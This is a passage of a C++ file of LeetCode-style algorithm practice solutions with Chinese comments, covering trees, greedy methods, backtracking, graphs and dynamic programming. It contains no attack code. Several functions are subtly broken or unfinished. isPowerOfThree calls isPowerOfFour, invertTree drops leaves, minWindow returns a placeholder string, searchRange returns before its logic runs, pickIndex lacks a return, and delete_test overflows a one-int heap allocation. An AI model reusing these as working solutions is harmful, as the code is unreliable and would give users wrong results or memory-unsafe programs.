public:
int val;
std::vector<Node_N*> children;
Node_N() {}
Node_N(int _val) {
val = _val;
}
Node_N(int _val, std::vector<Node_N*> _children) {
val = _val;
children = _children;
}
};
void preorder1(Node_N* node, std::vector<int>& nums) {
if(node == nullptr)
return;
nums.push_back(node->val);
for(int i = 0; i < node->children.size(); i++) {
preorder1(node->children[i], nums);
}
}
std::vector<int> preorder(Node_N* root) {
std::vector<int> result;
preorder1(root, result);
return result;
}
void postorder1(Node_N* node, std::vector<int>& nums) {
if(node == nullptr)
return;
for(int i = 0; i < node->children.size(); i++) {
postorder1(node->children[i], nums);
}
nums.push_back(node->val);
}
std::vector<int> postorder(Node_N* root) {
std::vector<int> result;
postorder1(root, result);
return result;
}
std::vector<int> rightSideView(TreeNode* root) {
std::vector<int> result;
std::queue<TreeNode*> nodes;
if(root == nullptr)
return result;
nodes.push(root);
std::vector<TreeNode*> current_level_nodes;
current_level_nodes.push_back(root);
while(!nodes.empty()) {
while(!nodes.empty()) {
current_level_nodes.push_back(nodes.front());
nodes.pop();
}
result.push_back(current_level_nodes.back()->val);
for(int i = 0; i < current_level_nodes.size(); i++) {
if(current_level_nodes[i]->left_child != nullptr)
nodes.push(current_level_nodes[i]->left_child);
if(current_level_nodes[i]->right_child != nullptr)
nodes.push(current_level_nodes[i]->right_child);
}
current_level_nodes.clear();
}
return result;
}
std::vector<double> averageOfLevels(TreeNode* root) {
std::vector<double> result;
std::queue<TreeNode*> nodes;
if(root == nullptr)
return result;
nodes.push(root);
std::vector<TreeNode*> current_level_nodes;
while(!nodes.empty()) {
while(!nodes.empty()) {
current_level_nodes.push_back(nodes.front());
nodes.pop();
}
double sum = 0;
for(int i = 0; i < current_level_nodes.size(); i++) {
sum += current_level_nodes[i]->val;
}
result.push_back(sum / current_level_nodes.size());
for(int i = 0; i < current_level_nodes.size(); i++) {
if(current_level_nodes[i]->left_child != nullptr)
nodes.push(current_level_nodes[i]->left_child);
if(current_level_nodes[i]->right_child != nullptr)
nodes.push(current_level_nodes[i]->right_child);
}
current_level_nodes.clear();
}
return result;
}
TreeNode* invertTree(TreeNode* root) {
if(root == nullptr)
return nullptr;
if(root->left_child == nullptr && root->right_child == nullptr)
return nullptr;
TreeNode* tmp = root->left_child;
root->left_child = root->right_child;
root->right_child = tmp;
invertTree(root->left_child);
invertTree(root->right_child);
return root;
}
//先填满当前层,再把下一层的数据都放到队列中
int findBottomLeftValue(TreeNode* root) {
int result = 0;
std::queue<TreeNode*> nodes;
if(root == nullptr)
return result;
nodes.push(root);
std::vector<TreeNode*> current_level_nodes;
current_level_nodes.push_back(root);
while(!nodes.empty()) {
while(!nodes.empty()) {
current_level_nodes.push_back(nodes.front());
nodes.pop();
}
result = current_level_nodes.front()->val;
for(int i = 0; i < current_level_nodes.size(); i++) {
if(current_level_nodes[i]->left_child != nullptr)
nodes.push(current_level_nodes[i]->left_child);
if(current_level_nodes[i]->right_child != nullptr)
nodes.push(current_level_nodes[i]->right_child);
}
current_level_nodes.clear();
}
return result;
}
bool hasPathSum(TreeNode* root, int sum) {
if(root == nullptr)
return false;
if(root->left_child == nullptr && root->right_child == nullptr) {
if(root->val == sum)
return true;
else
return false;
}
return hasPathSum(root->left_child, sum - root->val) || hasPathSum(root->right_child, sum - root->val);
}
//中间的result参数代表了当前遍历的结果
void binaryTreePaths_helper(TreeNode* root, std::vector<int> result, std::vector<std::vector<int>>& results) {
if(root == nullptr)
return;
result.push_back(root->val);
if(root->left_child == nullptr && root->right_child == nullptr) {
results.push_back(result);
} else {
binaryTreePaths_helper(root->left_child, result, results);
binaryTreePaths_helper(root->right_child, result, results);
}
}
std::vector<std::string> binaryTreePaths(TreeNode* root) {
std::vector<std::string> result_strings;
std::vector<int> result;
std::vector<std::vector<int>> results;
binaryTreePaths_helper(root, result, results);
for(int i = 0;i < results.size(); i++) {
std::string tmp = std::to_string(results[i].front());
for(int j = 1; j < results[i].size(); j++) {
tmp += ("->" + std::to_string(results[i][j]));
}
result_strings.push_back(tmp);
}
return result_strings;
}
std::vector<std::vector<int>> pathSum(TreeNode* root, int sum) {
std::vector<int> result;
std::vector<std::vector<int>> results;
binaryTreePaths_helper(root, result, results);
std::vector<std::vector<int>> final_results;
for(int i = 0; i < results.size(); i++){
int tmp_sum = 0;
for(int j = 0; j < results[i].size(); j++) {
tmp_sum += results[i][j];
}
if(tmp_sum == sum)
final_results.push_back(results[i]);
}
return final_results;
}
TreeNode* mergeTrees(TreeNode* t1, TreeNode* t2) {
if(t1 == nullptr)
return t2;
if(t2 == nullptr)
return t1;
t1->val += t2->val;
t1->left_child = mergeTrees(t1->left_child, t2->left_child);
t1->right_child = mergeTrees(t1->right_child, t2->right_child);
return t1;
}
//尽可能的让饥饿度最小的孩子先满足需求
int findContentChildren(std::vector<int>& g, std::vector<int>& s) {
std::sort(g.begin(), g.end());
std::sort(s.begin(), s.end());
int result = 0;
int i = 0;
int j = 0;
while(i < g.size() && j < s.size()) {
if(g[i] <= s[j]) {
result++;
i++;
j++;
} else {
j++;
}
}
return result;
}
//初始全部置为1,从左到右遍历一遍,比左边评分大,则糖果加1
int candy(std::vector<int>& ratings) {
std::vector<int> candies(ratings.size(), 1);
for(int i = 1; i < ratings.size(); i++) {
if(ratings[i] > ratings[i-1])
candies[i] = candies[i-1] + 1;
}
//从右到左遍历,比右边大,则对应的糖果比右边多1
for(int i = ratings.size()-2; i >= 0; i--) {
if(ratings[i] > ratings[i+1]) {
if(candies[i] <= candies[i+1])
candies[i] = candies[i+1] + 1;
}
}
return std::accumulate(candies.begin(), candies.end(), 0);
}
void delete_test() {
int* a = new int(100);
int* b = a;
for(int i = 0; i< 100;i++) {
a[i] = i;
}
a = nullptr;
//delete []a;
std::cout<< b[10] << std::endl;
}
int eraseOverlapIntervals(std::vector<std::vector<int>>& intervals) {
if(intervals.size() < 2)
return 0; // 不需要移除
//按照终点
std::sort(intervals.begin(), intervals.end(), [](std::vector<int> a, std::vector<int> b){
return a[1] < b[1];
});
int result = 1;
int end = intervals[0][1];
for(int i = 1; i < intervals.size(); i++) {
if(intervals[i][0] >= end) {
result++;
end = intervals[i][1];
}
}
return intervals.size() - result;
}
std::vector<int> twoSum_1(std::vector<int>& numbers, int target) {
std::vector<int> result;
int start_index = 0;
int end_index = numbers.size() - 1;
while(start_index < end_index) {
int sum = numbers[start_index] + numbers[end_index];
if(sum == target)
return {start_index+1, end_index+1};
else if(sum < target)
start_index++;
else
end_index--;
}
return result;
}
void merge(std::vector<int>& nums1, int m, std::vector<int>& nums2, int n) {
int i = 0;
int j = 0;
int k = 0;
std::vector<int> c(m+n, 0);
while(i < m && j < n) {
if(nums1[i] <= nums2[j]) {
c[k++] = nums1[i];
i++;
} else {
c[k++] = nums2[j];
j++;
}
}
while(i < m) {
c[k++] = nums1[i++];
}
while(j < n) {
c[k++] = nums2[j++];
}
nums1 = c;
}
std::string minWindow(std::string s, std::string t) {
//用长度128的数组映射字符
std::vector<int> chars(128, 0); //t中字符出现的次数
std::vector<bool> flag(128, false);//t中是否出现某个字符
return "hello";
}
int sqrt(int x) {
if(x == 1)
return 1;
int start_value = 0;
int end_value = x;
while(start_value < end_value) {
if((end_value - start_value) == 1)
return start_value;
int middle_value = start_value + (end_value - start_value) / 2;
int product = x / middle_value;
if(product == middle_value)
return middle_value;
else if(product > middle_value ) {
start_value = middle_value;
} else {
end_value = middle_value;
}
}
return 0;
}
std::vector<int> searchRange(std::vector<int>& nums, int target) {
if(nums.size() == 1) {
if(nums[0] == target)
return {0, 0};
else
return {-1, -1};
}
return {-1,-1};
int start_index = 0;
int end_index = nums.size() - 1;
int target_index = -1;
while(start_index < end_index) {
if((end_index - start_index) == 1) {
if(nums[start_index] != target)
start_index = end_index;
}
int middle_index = start_index + (end_index - start_index) / 2;
if(nums[middle_index] == target) {
target_index = middle_index;
break;
} else if(nums[middle_index] < target) {
start_index = middle_index;
} else {
end_index = middle_index;
}
}
if(target_index == -1)
return {-1, -1};
int l = target_index-1;
int r = target_index+1;
while(l >= 0) {
if(nums[l] == target)
l--;
else {
l++;
break;
}
}
l = std::max(l, 0);
while(r < nums.size()) {
if(nums[r] == target)
r++;
else {
r--;
break;
}
}
r = std::min(r, static_cast<int>(nums.size()) - 1);
return {l, r};
}
bool search1(std::vector<int>& nums, int target) {
for(int i = 0; i < nums.size(); i++) {
if(nums[i] == target)
return true;
}
return false;
}
//对l到r之间的数据进行一次快速排序
int quick_selection(std::vector<int>& nums, int l, int r) {
int i = l+1;
int j = r;
int pivot = nums[l];
while(true) {
//i小于右边界
while(i < r && nums[i] <= pivot)
i++;
//j大于左边界
while(j > l && nums[j] >= pivot)
j--;
if(i >= j)
break;
//相遇
std::swap(nums[i], nums[j]);
}
std::swap(nums[l], nums[j]);
return j;
}
int findKthLargest(std::vector<int>& nums, int k) {
int i = 0;
int j = nums.size()-1;
int target = nums.size() - k;
while(i < j) {
int mid = quick_selection(nums, i, j);
if(mid == target)
return nums[mid];
else if(mid < target) {
i = mid + 1;
} else {
j = mid - 1;
}
}
return nums[i];
}
void backtracking(int n, int k, int start_index, std::vector<int> result, std::vector<std::vector<int>>& results) {
if(result.size() == k) {
results.push_back(result);
return;
}
for(int i = start_index; i <= n; i++) {
result.push_back(i);
backtracking(n, k, i+1, result, results);
result.pop_back();
}
}
//回溯的减枝优化版本
void backtracking_jianzhi(int n, int k, int start_index, std::vector<int> result, std::vector<std::vector<int>>& results) {
if(result.size() == k) {
results.push_back(result);
return;
}
for(int i = start_index; i <= (n - k + 1 + result.size()); i++) {
result.push_back(i);
backtracking_jianzhi(n, k, i+1, result, results);
result.pop_back();
}
}
//从n个数中选择k个数字的组合问题,利用回溯算法解决
std::vector<std::vector<int>> combine1(int n, int k) {
std::vector<int> result;
std::vector<std::vector<int>> results;
backtracking_jianzhi(n, k, 1, result, results);
return results;
}
void backtracing_permute(std::vector<int>& nums,
std::vector<int> select_indexs,
std::vector<int> result,
std::vector<std::vector<int>>& results) {
if(result.size() == nums.size()) {
results.push_back(result);
return;
}
for(int i = 0; i < nums.size(); i++) {
auto iter = std::find(select_indexs.begin(), select_indexs.end(), i);
if(iter != select_indexs.end())
continue;
else
select_indexs.push_back(i);
result.push_back(nums[i]);
backtracing_permute(nums, select_indexs, result, results);
select_indexs.pop_back();
result.pop_back();
}
}
//全排列
std::vector<std::vector<int>> permute(std::vector<int>& nums) {
std::vector<int> result;
std::vector<std::vector<int>> results;
std::vector<int> select;
backtracing_permute(nums,select, result, results);
return results;
}
void backtracing(int start_index,
std::unordered_map<char, std::vector<char>>& char_map,
const std::string& digits,
std::string result,
std::vector<std::string>& results) {
if(result.size() == digits.size()) {
results.push_back(result);
return;
}
if(start_index >= digits.size())
return;
std::vector<char> digit_char = char_map[digits[start_index]];
for(int j = 0; j < digit_char.size(); j++) {
result.push_back(digit_char[j]);
backtracing(start_index + 1,char_map, digits, result, results);
result.pop_back();
}
}
std::vector<std::string> letterCombinations(std::string digits) {
if(digits.empty())
return {};
std::unordered_map<char, std::vector<char>> char_map;
char_map['2'] = {'a', 'b', 'c'};
char_map['3'] = {'d', 'e', 'f'};
char_map['4'] = {'g', 'h', 'i'};
char_map['5'] = {'j', 'k', 'l'};
char_map['6'] = {'m','n', 'o'};
char_map['7'] = {'p', 'q', 'r', 's'};
char_map['8'] = {'t', 'u', 'v'};
char_map['9'] = {'w', 'x', 'y','z'};
std::string result;
std::vector<std::string> results;
backtracing(0, char_map, digits, result, results);
return results;
}
// 并查集
class UF {
public:
UF(int n) {
father = std::vector<int>(n);
//初始的时候,每个人的代理人是他自己
std::iota(father.begin(), father.end(), 0);
}
//循环的对代理人进行追溯
int getFather(int p) {
while(p != father[p]) {
p = father[p];
}
return p;
}
//链接两个节点,f[3的代表人] = 4的代表人
void connect(int p, int q) {
father[getFather(p)] = getFather(q);
}
bool isConnected(int p, int q) {
return getFather(p) == getFather(q);
}
std::vector<int> father;
};
std::vector<int> findRedundantConnection(std::vector<std::vector<int>>& edges) {
int N = edges.size();
UF uf(N+1);
for(int i = 0; i < edges.size(); i++) {
auto edge = edges[i];
if(uf.isConnected(edge[0], edge[1]))
return edge;
uf.connect(edge[0], edge[1]);
}
return {-1, -1};
}
class LRUCache {
public:
LRUCache(int capacity) {
capacity_ = capacity;
}
int get(int key) {
if(elements_.count(key) != 0) {
for(auto iter = ages_.begin(); iter != ages_.end(); iter++) {
if((*iter) == key) {
ages_.erase(iter);
ages_.push_front(key);
break;
}
}
return elements_[key];
}
return -1;
}
void put(int key, int value) {
if(elements_.count(key) != 0) {
elements_[key] = value;
for(auto iter = ages_.begin(); iter != ages_.end(); iter++) {
if((*iter) == key) {
ages_.erase(iter);
ages_.push_front(key);
break;
}
}
} else {
if(elements_.size() < capacity_) {
elements_[key] = value;
}
else {
int oldest_key = ages_.back();
ages_.pop_back();
elements_.erase(oldest_key);
elements_[key] = value;
}
ages_.push_front(key);
}
}
std::unordered_map<int, int> elements_;
//从最新的到最老的
std::list<int> ages_;
int capacity_;
};
int dfs_islands(int i, int j,
std::vector<std::vector<int>>& grid,
std::vector<std::vector<bool>>& visited) {
if(i < 0 || i >= grid.size() || j < 0 || j >= grid[0].size())
return 0;
if(visited[i][j])
return 0;
visited[i][j] = true;
if(grid[i][j] == 0)
return 0;
else
return 1 + dfs_islands(i-1,j,grid,visited) +
dfs_islands(i+1, j, grid, visited) +
dfs_islands(i, j-1, grid, visited) +
dfs_islands(i, j+1, grid, visited);
}
int maxAreaOfIsland(std::vector<std::vector<int>>& grid) {
int rows = grid.size();
int cols = grid[0].size();
std::vector<std::vector<bool>> visited(rows, std::vector<bool>(cols, false));
int max_area = 0;
for(int i = 0; i < rows; i++) {
for(int j = 0; j < cols; j++) {
max_area = std::max(max_area, dfs_islands(i, j, grid, visited));
}
}
return max_area;
}
//对于第k个人,遍历他所有的朋友
void dfs_friends(int k,
std::vector<std::vector<int>>& M,
std::vector<bool>& visited) {
if(k < 0 || k >= M.size())
return;
if(visited[k])
return;
visited[k] = true;
for(int i = 0; i < M.size(); i++) {
if(M[k][i] == 1 && !visited[i])
dfs_friends(i, M, visited);
}
}
/*
1 0 0 1
0 1 1 0
0 1 1 1
1 0 1 1
*/
int findCircleNum(std::vector<std::vector<int>>& M) {
int result = 0;
int rows = M.size();
int cols = M[0].size();
std::vector<bool> visited(rows, false);
for(int i = 0; i < rows; i++) {
if(!visited[i]) {
dfs_friends(i, M, visited);
result++;
}
}
return result;
}
//对图进行遍历,广度优先搜索进行着色
bool isBipartite1(std::vector<std::vector<int>>& graph) {
int n = graph.size();
std::vector<int> color(n, 0);
std::queue<int> q;
q.push(0);
color[0] = 1;
while(!q.empty()) {
int node = q.front();
q.pop();
std::vector<int> connected_nodes = graph[node];
for(int i = 0; i < connected_nodes.size(); i++) {
if(color[connected_nodes[i]] == 0) {
color[connected_nodes[i]] = color[node] == 1 ? 2 : 1;
q.push(connected_nodes[i]);
} else {
if(color[connected_nodes[i]] == color[node])
return false;
}
}
}
return true;
}
bool isBipartite(std::vector<std::vector<int>>& graph) {
int n = graph.size();
std::vector<int> color(n, 0);
std::queue<int> q;
for(int i = 0; i < n; i++) {
if(color[i] == 0) {
q.push(i);
color[i] = 1;
}
while(!q.empty()) {
int node = q.front();
q.pop();
std::vector<int> connected_nodes = graph[node];
for(int i = 0; i < connected_nodes.size(); i++) {
if(color[connected_nodes[i]] == 0) {
color[connected_nodes[i]] = color[node] == 1 ? 2 : 1;
q.push(connected_nodes[i]);
} else {
if(color[connected_nodes[i]] == color[node])
return false;
}
}
}
}
return true;
}
int uniquePaths(int m, int n) {
std::vector<std::vector<int>> paths(m, std::vector<int>(n, 1));
for(int i = 1; i < m; i++) {
for(int j = 1; j < n; j++) {
paths[i][j] = paths[i-1][j] + paths[i][j-1];
}
}
return paths[m-1][n-1];
}
//拓扑排序问题,构建领接矩阵
std::vector<int> findOrder(int numCourses, std::vector<std::vector<int>>& prerequisites) {
std::vector<std::vector<int>> graph(numCourses, std::vector<int>());
std::vector<int> indegree(numCourses, 0);
for(int i = 0; i < prerequisites.size();i++) {
//依赖于[1]的所有元素
graph[prerequisites[i][1]].push_back(prerequisites[i][0]);
indegree[prerequisites[i][0]]++;
}
std::vector<int> result;
//利用队列做广度优先遍历
std::queue<int> q;
for(int i = 0; i < numCourses; i++) {
if(!indegree[i])
q.push(i);
}
while(!q.empty()) {
int v = q.front();
result.push_back(v);
q.pop();
for(auto& e : graph[v]) {
indegree[e]--;
if(indegree[e] == 0)
q.push(e);
}
}
for(int i = 0; i < numCourses; i++) {
if(indegree[i] != 0)
return {};
}
return result;
}
int diameterOfBinaryTree(TreeNode* root) {
if(root == nullptr)
return 0;
int length_root = maxDepth(root->left_child) + maxDepth(root->right_child);
int length_left = diameterOfBinaryTree(root->left_child);
int length_right = diameterOfBinaryTree(root->right_child);
return std::max(std::max(length_left, length_right), length_root);
}
int pathSum1(TreeNode* root, int sum) {
int result = 0;
if(root == nullptr)
return 0;
if(root->val == sum)
result = 1;
if(root->left_child == nullptr && root->right_child == nullptr)
return result;
result = result + pathSum1(root->left_child, sum - root->val) +
pathSum1(root->right_child, sum - root->val) +
pathSum1(root->left_child, sum) +
pathSum1(root->right_child, sum);
return result;
}
//把二进制逆序
uint32_t reverseBits(uint32_t n) {
int result = 0;
//先左移一位,第一位是符号位
for(int i = 0; i < 32; i++) {
result <<= 1;
result += (n & 1);
n >>=1;
}
return result;
}
bool isPowerOfFour(int n) {
if(n == 1)
return true;
if(n < 4)
return false;
if(n % 4 != 0)
return false;
return isPowerOfFour(n / 4);
}
bool isContainSameChar(const std::string& a,
const std::string& b) {
std::unordered_map<char, bool> map_a;
for(int i =0; i < a.size(); i++) {
map_a[a[i]] = true;
}
for(int i = 0; i < b.size(); i++) {
if(map_a.count(b[i]))
return true;
}
return false;
}
int maxProduct1(std::vector<std::string>& words) {
int result = 0;
for(int i = 0; i < words.size(); i++) {
for(int j = i+1; j < words.size(); j++) {
if(!isContainSameChar(words[i], words[j]))
result = std::max(result, int(words[i].size()) * int(words[j].size()));
}
}
return result;
}
int maxProduct(std::vector<std::string>& words) {
std::vector<int> int_words;
//通过位运算检查单词是否相同
for(auto& word : words) {
int value = 0;
for(auto& c : word)
value |= (1 << (c - 'a'));
int_words.push_back(value);
}
int result = 0;
for(int i = 0; i < words.size(); i++) {
for(int j = i+1; j < words.size(); j++) {
if(!(int_words[i] & int_words[j]))
result = std::max(result, int(words[i].size()) * int(words[j].size()));
}
}
return result;
}
//利用动态规划求解
std::vector<int> countBits(int num) {
std::vector<int> results(num+1, 0);
for(int i = 1; i <= num; i++) {
if((i & 1) == 0) {
results[i] = results[i >> 1];
} else {
results[i] = results[i-1] + 1;
}
}
return results;
}
bool containsDuplicate(std::vector<int>& nums) {
std::unordered_map<int, int> num_count;
for(int i = 0; i < nums.size(); i++) {
if(num_count.count(nums[i]) == 0)
num_count[nums[i]] = 1;
else
return true;
}
return false;
}
int countPrimes(int n) {
if(n <= 2)
return 0;
std::vector<bool> prime(n, true);
int count = n-2;
for(int i = 2; i < n; i++) {
for(int j = 2 * i; j < n; j+=i) {
if(prime[j]) {
prime[j] = false;
count--;
}
}
}
return count;
}
std::string convertToBase7(int num) {
if(num == 0)
return "0";
bool is_negative = num < 0;
if(is_negative)
num = -num;
std::string result="";
while(num) {
result = std::to_string(num % 7) + result;
num /= 7;
}
if(is_negative)
return "-" + result;
return result;
}
int trailingZeroes(int n) {
return n == 0? 0: n / 5 + trailingZeroes(n / 5);
}
bool isPowerOfThree(int n) {
if(n == 1)
return true;
if(n < 3)
return false;
if(n % 3 != 0)
return false;
return isPowerOfFour(n / 3);
}
class Solution1 {
public:
/** @param head The linked list's head.
Note that the head is guaranteed to be not null, so it contains at least one node. */
Solution1(ListNode* head) {
ListNode* p = head;
while(p) {
nums.push_back(p->val);
p = p->next;
}
}
/** Returns a random node's value. */
int getRandom() {
int random_index = random() % nums.size();
return nums[random_index];
}
std::vector<int> nums;
};
class Solution2 {
public:
Solution2(std::vector<int>& nums) {
origin_nums = nums;
}
/** Resets the array to its original configuration and return it. */
std::vector<int> reset() {
return origin_nums;
}
/** Returns a random shuffling of the array. */
std::vector<int> shuffle() {
// fisher-yate洗牌算法
if(origin_nums.empty())
return {};
std::vector<int> shuffle(origin_nums);
int n = shuffle.size();
for(int i = 0; i < n; i++) {
int pos = random() % (n-i); //随机区间被逐步的缩小
std::swap(shuffle[i], shuffle[i+pos]);
}
return shuffle;
}
std::vector<int> origin_nums;
};
//按照权重来进行随机的选择
//使用前缀和来模拟
class Solution3 {
public:
Solution3(std::vector<int>& w) {
nums = w;
}
int pickIndex() {
}
std::vector<int> nums;
};
char findTheDifference(std::string s, std::string t) {
std::unordered_map<char, int> char_map;
for(int i = 0; i < s.size(); i++) {
if(char_map.count(s[i]) == 0)
char_map[s[i]] = 1;
else
char_map[s[i]]++;
}
for(int i = 0; i < t.size(); i++) {
char_map[t[i]]--;
}
for(auto iter = char_map.begin(); iter != char_map.end(); iter++) {
if(iter->second != 0)
return iter->first;
}
return s.front();
}
int numberOfArithmeticSlices(std::vector<int>& A) {
int n = A.size();
if(n < 3)
return 0;
std::vector<int> dp(n, 0);
for(int i = 2; i < n; i++) {
if((A[i] - A[i-1]) == (A[i-1] - A[i-2]))
dp[i] = dp[i-1] + 1;
}
return std::accumulate(dp.begin(), dp.end(), 0);
}
bool isIsomorphic(std::string s, std::string t) {
if(s.size() != t.size())
return false;
bool result = true;
std::map<char, char> map_s_t;
for(int i = 0; i < s.size(); i++) {
if(map_s_t.count(s[i]) != 0) {
if(map_s_t[s[i]] != t[i])
return false;
} else {
map_s_t[s[i]] = t[i];
}
}
std::map<char, char> map_t_s;
for(int i = 0; i < t.size(); i++) {
if(map_t_s.count(t[i]) != 0) {
if(map_t_s[t[i]] != s[i])
return false;
} else {
map_t_s[t[i]] = s[i];
}
}
return result;
}
// 01矩阵问题, method1: 广度优先搜索
std::vector<std::vector<int>> updateMatrix1(std::vector<std::vector<int>>& matrix) {
int dir[4][2] = {{-1, 0}, {1, 0},{0, 1}, {0, -1}};
int m = matrix.size();
int n = matrix.front().size();
std::vector<std::vector<int>> dist(m, std::vector<int>(n, 0));
std::vector<std::vector<int>> visited(m, std::vector<int>(n, false));
std::queue<std::pair<int, int>> q;
for(int i= 0; i < m; i++) {
for(int j = 0; j < n; j++) {
if(matrix[i][j] == 0) {
q.push({i, j});
visited[i][j] = true;
}
}
}
while(!q.empty()) {
auto pos = q.front();
q.pop();
for(int i = 0; i < 4; i++) {
int new_i = pos.first + dir[i][0];
int new_j = pos.second + dir[i][1];
if(new_i >=0 && new_i < m && new_j >= 0 && new_j < n && !visited[new_i][new_j]) {
visited[new_i][new_j] = true;
dist[new_i][new_j] = dist[pos.first][pos.second]+1;
q.push({new_i, new_j});
}
}
}
return dist;
}
// 01矩阵问题, method1: 动态规划 two pass 每个位置的dist是四种移动方法的动态规划,参照leetcode题解
std::vector<std::vector<int>> updateMatrix(std::vector<std::vector<int>>& matrix) {
int m = matrix.size();
int n = matrix.front().size();
//初始的时候将每个位置的距离设为一个很大的值
std::vector<std::vector<int>> dist(m, std::vector<int>(n, INT32_MAX / 2));
for(int i = 0; i < m; i++) {
for(int j = 0; j < n; j++) {
if(matrix[i][j] == 0)
dist[i][j] = 0;
}
}
for(int i = 0; i < m; i++) {
for(int j = 0; j < n; j++) {
if((i - 1) >= 0)
dist[i][j] = std::min(dist[i][j], dist[i-1][j] + 1);
if((j - 1) >= 0)
dist[i][j] = std::min(dist[i][j], dist[i][j-1] + 1);
}
}
for(int i = m -1; i >= 0; i--) {
for(int j = n - 1; j >= 0; j--){
if((i+1) < m)
dist[i][j] = std::min(dist[i][j], dist[i+1][j] + 1);
if((j+1) < n)
dist[i][j] = std::min(dist[i][j], dist[i][j+1] + 1);
}
}
return dist;
}
int maximalSquare(std::vector<std::vector<char>>& matrix) {
int m = matrix.size();
int n = matrix.front().size();
// dp[i][j]表示以i,j为右下角的正方形的边长
std::vector<std::vector<int>> dp(m, std::vector<int>(n, 0));
int max_size = 0;
for(int i = 0; i < m; i++) {
for(int j = 0; j < n; j++) {
if(matrix[i][j] == '1') {
if(i == 0 || j == 0)
dp[i][j] = 1;
else {
dp[i][j] = std::min(dp[i-1][j-1], std::min(dp[i-1][j], dp[i][j-1])) + 1;
}
max_size = std::max(max_size, dp[i][j]);
}
}
}
return max_size * max_size;
}
// 1 4 9 6 25
int numSquares(int n) {
std::vector<int> dp(n+1, std::numeric_limits<int>::max());
dp[0] = 0;
for(int i = 1; i <=n; i++) {
for(int j = 1; j * j < i; j++) {
dp[i] = std::min(dp[i], dp[i - j * j] + 1);
}
}
return dp[n];
}
std::vector<int> findDisappearedNumbers(std::vector<int>& nums) {
int n = nums.size();
std::vector<int> contained(n+1, -1);
for(int i = 0; i < nums.size(); i++) {
contained[nums[i]] = 1;
}
std::vector<int> result;
for(int i = 1; i <=n; i++) {
if(contained[i] == -1)
result.push_back(i);
}
return result;
}
//也可以先水平翻转在转置
void rotate(std::vector<std::vector<int>>& matrix) {
int m = matrix.size();
std::vector<std::vector<int>> result(m, std::vector<int>(m));
for(int i = 0; i < m; i++) {
for(int j = 0; j < m; j++) {
result[j][m-i-1] = matrix[i][j];
}
}
matrix = result;
}
bool searchMatrix(std::vector<std::vector<int>>& matrix, int target) {
int m = matrix.size();
int n = matrix.front().size();
int i = 0;
int j = n-1;
while(1) {
if(matrix[i][j] == target)
return true;
else if(matrix[i][j] > target)
j--;
else
i++;
if(j < 0 || i >= m)
return false;
}
return true;
}
// 1 0 2 3 4
//到当前为止的最大值=索引的时候可以完成一次分割
int maxChunksToSorted(std::vector<int>& arr) {
int n = arr.size();
int cur_max = 0;
int chuck = 0;
for(int i = 0; i < n; i++) {
cur_max = std::max(arr[i], cur_max);
if(cur_max == i)
chuck++;
}
return chuck;
}
class MinStack {
public:
/** initialize your data structure here. */
MinStack() {
}
void push(int x) {
norm_stack.push(x);
if(min_stack.empty())
min_stack.push(x);
else {
int top = min_stack.top();
min_stack.push(std::min(top, x));
}
}
void pop() {
norm_stack.pop();
min_stack.pop();
}
int top() {
return norm_stack.top();
}
int getMin() {
return min_stack.top();
}
std::stack<int> norm_stack;
std::stack<int> min_stack;
};
bool wordBreak(std::string s, std::vector<std::string>& wordDict) {
// dp[i] 表示以第i个字母结尾是否满足条件
int n = s.size();
std::vector<bool> dp(n+1, false);
dp[0] = true;
for(int i = 1; i<= n; i++) {
for(auto& word : wordDict) {
int len = word.length();
if(i >= len && s.substr(i - len, len) == word)
dp[i] = dp[i] | dp[i-len];
}
}
return dp[n];
}
int lastStoneWeight(std::vector<int>& stones) {
std::sort(stones.begin(), stones.end());
while(stones.size() > 2) {
int tmp_size = stones[stones.size() - 1] - stones[stones.size() - 2];
if(tmp_size == 0) {
stones.erase(stones.end() - 2, stones.end());
} else {
stones.erase(stones.end() - 2, stones.end());
for(int i = 0; i < stones.size(); i++) {
if(tmp_size <= stones[i]) {
stones.insert(stones.begin() + i, tmp_size);
break;
}
}
if(tmp_size > stones.back())
stones.push_back(tmp_size);
}
}
if(stones.size() == 1)
return stones[0];
return stones[1] - stones[0];
}
bool canPlaceFlowers(std::vector<int>& flowerbed, int n) {
int res = n;
for(int i = 0; i < flowerbed.size(); i++) {
if(flowerbed[i] == 1)
continue;
if(i >= 1 && flowerbed[i-1] == 1)
continue;
if(i < flowerbed.size() -1 && flowerbed[i+1] == 1)
continue;
flowerbed[i] = 1;
res--;
if(res == 0)
return true;
}
return res <= 0;
}
bool canWinNim(int n) {
return n % 4 != 0;
}
//记录一个数字左边的乘积和右边的乘积
//左边的乘积和右边的乘积
std::vector<int> productExceptSelf(std::vector<int>& nums) {
std::vector<int> left_product(nums.size(), 0);
std::vector<int> right_product(nums.size(), 0);
int tmp_left_product = 1;
int tmp_right_product = 1;
for(int i = 0; i < nums.size(); i++) {
left_product[i] = tmp_left_product;
tmp_left_product *= nums[i];
}
for(int i = nums.size() - 1; i >=0; i--) {
right_product[i] = tmp_right_product;
tmp_right_product *= nums[i];
}
std::vector<int> result(nums.size(), 0);
for(int i = 0; i < nums.size(); i++) {
result[i] = left_product[i] * right_product[i];
}
return result;
}
//改变当前节点的值,让当前节点指向下下个节点
void deleteNode(ListNode* node) {
node->val = node->next->val;
node->next = node->next->next;
}
std::string reverseWords(std::string s) {
std::vector<std::string> words;
std::string tmp_word;
for(int i = 0; i < s.size(); i++) {
if(s[i] == ' ' && !tmp_word.empty()) {
words.push_back(tmp_word);
tmp_word.clear();
} else
tmp_word.push_back(s[i]);
}
if(!tmp_word.empty())
words.push_back(tmp_word);
std::string result = "";
for(int i = 0; i < words.size(); i++) {
std::string word = words[i];
std::cout<< word << std::endl;
std::reverse(word.begin(), word.end());
result += word;
if(i != (words.size() - 1))
result += " ";
}
return result;
}
ListNode* sortList(ListNode* head) {
std::vector<int> nums;
ListNode* p = head;
while(p) {
nums.push_back(p->val);
p = p->next;
}
std::sort(nums.begin(), nums.end());
ListNode* q = head;
int start_index = 0;
while(q) {
q->val = nums[start_index++];
q = q->next;
}
return head;
}
//两两合并
ListNode* mergeKLists(std::vector<ListNode*>& lists) {
if(lists.empty())
return nullptr;
if(lists.size() < 2)
return lists.front();
ListNode* k = mergeTwoLists(lists[0], lists[1]);
for(int i = 2; i < lists.size(); i++) {
k = mergeTwoLists(k, lists[i]);
}
return k;
}
bool isUnique(std::string astr) {
std::unordered_map<char, int> char_count;
for(auto c : astr) {
if(char_count.count(c) == 0)
char_count[c] = 1;
else
{
return false;
}
}
return true;
}
bool CheckPermutation(std::string s1, std::string s2) {
if(s1.size() != s2.size())
return false;
std::unordered_map<char, int> char_count1;
